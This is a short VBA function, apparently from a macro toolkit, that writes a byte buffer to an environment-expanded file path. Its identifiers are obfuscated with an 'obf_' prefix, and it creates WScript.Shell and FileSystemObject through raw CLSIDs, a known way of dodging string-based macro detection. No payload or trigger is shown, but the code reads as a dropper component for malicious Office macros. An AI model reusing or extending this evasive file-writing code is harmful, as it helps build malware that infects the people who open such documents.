
Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_dataBin() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_out, obf_file
    Dim obf_data As String

    obf_data = obf_dataBin

    Dim obf_shell: Set obf_shell = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
        ' 2nd param, True = overwrite if needed
        ' 3rd param, False = ASCII file
        With .CreateTextFile(obf_out, True, False)
            .write obf_data
            .Close
        End With
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function
